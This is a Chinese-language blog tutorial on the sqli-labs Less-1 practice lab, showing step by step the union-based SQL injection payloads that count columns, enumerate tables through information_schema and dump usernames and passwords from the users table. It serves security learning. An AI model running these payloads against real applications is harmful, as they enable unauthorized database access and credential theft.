news 2026/4/17 5:59:51

sqli-labs靶场 less-1

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs靶场 less-1

一、注入点

这个网站连接数据库后端的查询用户是用id查询的,并且请求方式是get所以在传入接口的网址后面添加id=2或者别的数字,就会查询id=1的用户信息

?id=1

二、查看有多少字段

?id=1' order by 3--+ //要查询表id=1的数据有没有三个字段

'是要提前闭合后台自带的引号

输入id=1,后台接收的为:SELECT * FROM users WHERE id='1'

如果输入的是?id=1 order by 3--+ 后台接收的就是

SELECT * FROM users WHERE id='1 order by 3 --+'

但要的效果为:SELECT * FROM users WHERE id='1 'order by 3

所以在id=1后面添加',和前面的'相闭合

而--+是注释的意思,把后面的'注释掉

最终后台接收的语句为SELECT * FROM users WHERE id='1 'order by 3 --+'=>

SELECT * FROM users WHERE id='1 'order by 3 这后面的'被--+注释掉了

而order by在数据库中是排序的意思,order by 3按照第三列排序,但在这里的本质目的是判断有多少个字段,比如id字段、name字段、password字段

输入order by 3时页面正常,说明有三个字段

而输入order by 4出现错误提示:order by子句中不存在名为4的列,也就是这个表只有三个字段三个列

三、将查出的id=-1的数据插入三列假数据1,2,3,查看有哪些数据插入被显示

?id=-1' union select 1,2,3 --+

而id=-1永远查询不到,页面也就只能显示我们插入的数据

union联合,把两条 SELECT 查询的结果,合并成一张表显示出来

从图中可以看到2,3显示出来,所以在后面查询数据库名称和数据表时,可以将语句写在第二、三字段中

四、查询当前使用的数据库名

?id=-1' union select 1,database(),3--+

database()是mysql自带的函数--查询当前正在使用的数据库名字

也可以写成?id=-1' union select 1,3,database()--+

但是前面测试第一列不能显示结果,所以要查看数据库名字,只能放在2,3字段

其他两个数据起到了一个占位的作用,前面查出有三个字段,如果只写两个,列数不匹配会拒绝执行

查询出来数据库名为:security

五、查看数据库有哪些表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

group_concat():mysql自带的函数--将所有表名拼成一行显示

括号内容是系统固定的值:

查看所有表名:table_name =>group_concat(table_name)

查看所有数据库名:table_schema=>group_concat(table_schema)

查看所有字段名:column_name=>group_concat(column_name)

information_schema:是mysql自带的一个大数据库记录了有哪些数据库,有哪些表,每个表有哪些字段(列)

from information_schema.tables这句话的意思也就是从information_schema这个库里查找tables这个表,表名是固定的tables,这个表里还存放着其他的所有的表

条件:where table_schema=database()--只查询当前正在使用的这个数据库下面的表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

所以这一整段的意思是查询id=-1的用户和在information_schema数据库里的tables表里查询数据库名为当前使用的数据库里的所有表名信息,并将所有表名拼成一行,在第二个字段展示出来

六、查看表有哪些字段

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() --+

同上

七、查看表中所有的用户名和密码

?id=-1' union select 1,group_concat(username,0x3a,password),3 from security.users --+

group_concat(username,0x3a,password):将用户名和密码连接在一行用冒号隔开

0x3a是冒号

在前面已经查询用户名和密码是在哪一个表里,在条件后面直接写表名就行

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/17 5:59:43

Gerber文件导出避坑手册:Allegro光绘参数设置与立创EDA兼容性实战

Gerber文件导出避坑手册:Allegro光绘参数设置与立创EDA兼容性实战 在硬件设计领域,Gerber文件作为PCB生产的"通用语言",其导出质量直接决定生产成败。尤其当使用Allegro这类国际EDA工具对接国产立创EDA生态时,参数设置差…

作者头像 李华
网站建设 2026/4/17 5:52:30

生成式AI灰度发布必须设置的4个动态熔断阈值:基于token级延迟、置信度衰减率与用户纠错频次

第一章:生成式AI应用灰度发布策略 2026奇点智能技术大会(https://ml-summit.org) 生成式AI应用的灰度发布需兼顾模型行为不确定性、用户反馈敏感性与系统稳定性。不同于传统服务,大语言模型输出具有非确定性、上下文强依赖及潜在幻觉风险,因…

作者头像 李华
网站建设 2026/4/17 5:48:00

SDMatte Web界面使用教程:上传→框选→选择模式→下载四步详解

SDMatte Web界面使用教程:上传→框选→选择模式→下载四步详解 1. 认识SDMatte:你的智能抠图助手 SDMatte是一款专为高质量图像抠图设计的AI工具,它能帮你轻松完成各种复杂的抠图任务。想象一下,你正在为电商商品制作宣传图&…

作者头像 李华
网站建设 2026/4/17 5:40:33

PCIE接口全解析:从X1到X16,硬件小白也能看懂的引脚定义指南

PCIE接口全解析:从X1到X16,硬件小白也能看懂的引脚定义指南 第一次拆开机箱时,那块黑色长条插槽总让我困惑——为什么有的显卡插槽长,有的短?为什么主板上有不同长度的PCIE插槽?这些问题曾困扰我很久&#…

作者头像 李华
网站建设 2026/4/17 5:38:13

LFM2.5-GGUF效果实测:相同硬件下对比Qwen1.5-0.5B推理吞吐量

LFM2.5-GGUF效果实测:相同硬件下对比Qwen1.5-0.5B推理吞吐量 1. 测试背景与目的 在边缘计算和低资源环境中,轻量级语言模型的推理效率至关重要。本次测试将对比LFM2.5-1.2B-Thinking-GGUF与Qwen1.5-0.5B两款轻量模型在相同硬件条件下的实际表现&#x…

作者头像 李华